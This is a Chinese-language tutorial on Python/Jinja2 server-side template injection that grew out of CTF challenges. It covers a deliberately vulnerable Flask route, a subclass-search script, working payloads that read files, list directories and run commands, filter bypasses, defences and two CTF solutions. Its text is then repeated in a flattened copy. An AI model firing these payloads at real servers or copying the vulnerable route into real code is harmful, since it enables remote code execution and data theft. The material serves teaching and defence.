CTF引出对Python模板注入的思考
字数 1806 2025-08-15 21:32:05

Python模板注入(SSTI)深入分析与防御指南

一、模板注入基础概念

1.1 什么是模板注入

模板注入(Server-Side Template Injection, SSTI)是一种服务器端漏洞,攻击者能够通过注入恶意模板代码在服务器端执行任意命令。在Python Web框架中,特别是使用Jinja2模板引擎的应用中较为常见。

1.2 模板注入的危害

  • 执行任意Python代码
  • 读取敏感文件
  • 获取服务器权限
  • 数据库操作

二、Python模板注入原理分析

2.1 Jinja2模板引擎语法

Jinja2引擎存在三种主要语法结构:

  • 控制结构 {% %}
  • 变量取值 {{ }}
  • 注释 {# #}

关键点{{ }}内的内容不仅会被填充替换,还能执行部分表达式,这是SSTI漏洞的根本原因。

2.2 Flask渲染方法

Flask主要使用两种渲染方法:

  1. render_template - 渲染HTML文件
  2. render_template_string - 渲染HTML字符串

漏洞触发条件:当render_template_string渲染的HTML字符串受用户控制时,就可能存在SSTI漏洞。

2.3 示例漏洞代码

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/vulnerable')
def vulnerable():
    s = request.args.get('code')
    html = '<h3>%s</h3>'%(s)
    return render_template_string(html)  # 危险!用户输入直接传入模板

if __name__ == '__main__':
    app.run()

三、SSTI利用技术详解

3.1 基本利用方式

构造payload:http://example.com/vulnerable?code={{3*2}}
如果页面返回6,则确认存在SSTI漏洞。

3.2 Python对象链利用

通过Python的魔术方法和属性链,可以访问危险函数:

  1. __class__ - 获取对象的类

    ''.__class__  # 获取字符串的类
    
  2. __mro__ - 获取类的继承顺序

    ''.__class__.__mro__  # 显示继承链
    
  3. __subclasses__() - 获取类的所有子类

    ''.__class__.__mro__[1].__subclasses__()  # 获取所有子类
    
  4. __init__.__globals__ - 获取全局变量

    [].__class__.__base__.__subclasses__()[X].__init__.__globals__
    

3.3 查找危险子类

通过以下脚本查找包含os模块的子类:

num = 0
for item in ''.__class__.__mro__[1].__subclasses__():
    try:
        if 'os' in item.__init__.__globals__:
            print(num, item)
        num += 1
    except:
        num += 1

3.4 常用payload示例

  1. 读取文件:

    {{''.__class__.__mro__[1].__subclasses__()[X]('filename').read()}}
    
  2. 列出目录:

    {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].listdir('.')}}
    
  3. 执行命令:

    {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].system('whoami')}}
    

四、进阶绕过技术

4.1 黑名单绕过

configself等关键字被过滤时,可以使用:

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

4.2 其他危险函数

  1. __import__函数:

    {{__import__("os").system("ls")}}
    
  2. timeit模块:

    {{[].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('timeit').timeit("__import__('os').system('ls')",number=1)}}
    
  3. platform模块:

    {{[].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('platform').popen('ls').read()}}
    

五、防御措施

5.1 输入过滤

  • 过滤特殊字符:{{ }} {% %} {# #} __
  • 使用白名单验证用户输入

5.2 安全配置

  1. 避免使用render_template_string渲染用户输入
  2. 使用沙箱环境执行模板
  3. 更新Jinja2到最新版本

5.3 代码示例

安全代码示例:

from flask import Flask, request, render_template, escape

app = Flask(__name__)

@app.route('/safe')
def safe():
    user_input = escape(request.args.get('input'))  # 转义用户输入
    return render_template('template.html', input=user_input)  # 使用预定义模板

六、CTF实战案例解析

6.1 案例1:Web_python_template_injection

解题步骤

  1. 确认SSTI漏洞:/{{7*7}} → 返回49
  2. 构建对象链获取文件列表:
    {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].listdir('.')}}
    
  3. 读取flag文件:
    {{''.__class__.__mro__[1].__subclasses__()[X]('fl4g').read()}}
    

6.2 案例2:shrine

解题步骤

  1. 发现configself被过滤
  2. 使用url_forget_flashed_messages绕过:
    /shrine/{{url_for.__globals__['current_app'].config}}
    
  3. 从config中获取FLAG值

七、扩展知识

7.1 Python沙箱逃逸技术

  1. 通过内置函数__builtins__访问危险函数
  2. 利用异常处理获取信息
  3. 使用字符串拼接绕过关键字过滤

7.2 其他危险模块

模块 危险函数 用途
os system/popen 执行系统命令
subprocess Popen 执行系统命令
importlib import_module 动态导入模块
codecs open 文件操作

7.3 Python2与Python3差异

  1. file函数只在Python2中存在
  2. execfile函数只在Python2中存在
  3. Python3中__subclasses__()返回的子类顺序可能不同

八、总结

Python模板注入是一种严重的服务器端漏洞,攻击者可以通过精心构造的payload执行任意代码。防御的关键在于:

  1. 永远不要信任用户输入
  2. 避免直接渲染用户提供的模板
  3. 实施严格的输入验证和过滤
  4. 保持框架和依赖库的最新版本

通过深入理解SSTI的原理和利用技术,开发人员可以更好地保护自己的应用免受此类攻击。

Python模板注入(SSTI)深入分析与防御指南 一、模板注入基础概念 1.1 什么是模板注入 模板注入(Server-Side Template Injection, SSTI)是一种服务器端漏洞,攻击者能够通过注入恶意模板代码在服务器端执行任意命令。在Python Web框架中,特别是使用Jinja2模板引擎的应用中较为常见。 1.2 模板注入的危害 执行任意Python代码 读取敏感文件 获取服务器权限 数据库操作 二、Python模板注入原理分析 2.1 Jinja2模板引擎语法 Jinja2引擎存在三种主要语法结构: 控制结构 {% %} 变量取值 {{ }} 注释 {# #} 关键点 : {{ }} 内的内容不仅会被填充替换,还能执行部分表达式,这是SSTI漏洞的根本原因。 2.2 Flask渲染方法 Flask主要使用两种渲染方法: render_template - 渲染HTML文件 render_template_string - 渲染HTML字符串 漏洞触发条件 :当 render_template_string 渲染的HTML字符串受用户控制时,就可能存在SSTI漏洞。 2.3 示例漏洞代码 三、SSTI利用技术详解 3.1 基本利用方式 构造payload: http://example.com/vulnerable?code={{3*2}} 如果页面返回 6 ,则确认存在SSTI漏洞。 3.2 Python对象链利用 通过Python的魔术方法和属性链,可以访问危险函数: __class__ - 获取对象的类 __mro__ - 获取类的继承顺序 __subclasses__() - 获取类的所有子类 __init__.__globals__ - 获取全局变量 3.3 查找危险子类 通过以下脚本查找包含 os 模块的子类: 3.4 常用payload示例 读取文件: 列出目录: 执行命令: 四、进阶绕过技术 4.1 黑名单绕过 当 config 、 self 等关键字被过滤时,可以使用: 4.2 其他危险函数 __import__ 函数: timeit 模块: platform 模块: 五、防御措施 5.1 输入过滤 过滤特殊字符: {{ }} {% %} {# #} __ 使用白名单验证用户输入 5.2 安全配置 避免使用 render_template_string 渲染用户输入 使用沙箱环境执行模板 更新Jinja2到最新版本 5.3 代码示例 安全代码示例: 六、CTF实战案例解析 6.1 案例1:Web_ python_ template_ injection 解题步骤 : 确认SSTI漏洞: /{{7*7}} → 返回49 构建对象链获取文件列表: 读取flag文件: 6.2 案例2:shrine 解题步骤 : 发现 config 和 self 被过滤 使用 url_for 或 get_flashed_messages 绕过: 从config中获取FLAG值 七、扩展知识 7.1 Python沙箱逃逸技术 通过内置函数 __builtins__ 访问危险函数 利用异常处理获取信息 使用字符串拼接绕过关键字过滤 7.2 其他危险模块 | 模块 | 危险函数 | 用途 | |------|---------|------| | os | system/popen | 执行系统命令 | | subprocess | Popen | 执行系统命令 | | importlib | import_ module | 动态导入模块 | | codecs | open | 文件操作 | 7.3 Python2与Python3差异 file 函数只在Python2中存在 execfile 函数只在Python2中存在 Python3中 __subclasses__() 返回的子类顺序可能不同 八、总结 Python模板注入是一种严重的服务器端漏洞,攻击者可以通过精心构造的payload执行任意代码。防御的关键在于: 永远不要信任用户输入 避免直接渲染用户提供的模板 实施严格的输入验证和过滤 保持框架和依赖库的最新版本 通过深入理解SSTI的原理和利用技术,开发人员可以更好地保护自己的应用免受此类攻击。